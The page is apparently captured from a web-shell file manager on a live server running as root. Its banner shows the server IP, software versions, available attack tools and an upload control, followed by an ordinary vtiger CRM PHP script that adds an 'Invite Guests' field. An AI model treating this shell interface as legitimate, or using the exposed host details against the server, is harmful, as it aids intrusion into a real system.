| Server IP : 138.197.176.125 / Your IP : 216.73.216.41 Web Server : Apache/2.4.41 (Ubuntu) System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : root ( 0) PHP Version : 8.3.19 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/vtigergoogleoffice365suite65phase2qa/ |
Upload File : |
<?php
error_reporting(0);
// Turn on debugging level
$Vtiger_Utils_Log = true;
include_once('vtlib/Vtiger/Menu.php');
include_once('vtlib/Vtiger/Module.php');
// Create module instance and save it first
$module = new Vtiger_Module();
$module->name = 'Events';
$module = $module->getInstance('Events');
// get block instance
$block1 = new Vtiger_Block();
$block1->label = 'LBL_RELATED_TO';
$block1 = $block1->getInstance($block1->label,$module);
$field10 = new Vtiger_Field();
$field10->label = 'Invite Guests';
$field10->name = 'invite_guests';
$field10->column =$field10->name;
$field10->uitype = 19;
$field10->tablename = "vtiger_activity";
$field10->typeofdata = 'V~O';
$block1->addField($field10);
echo "Done";exit;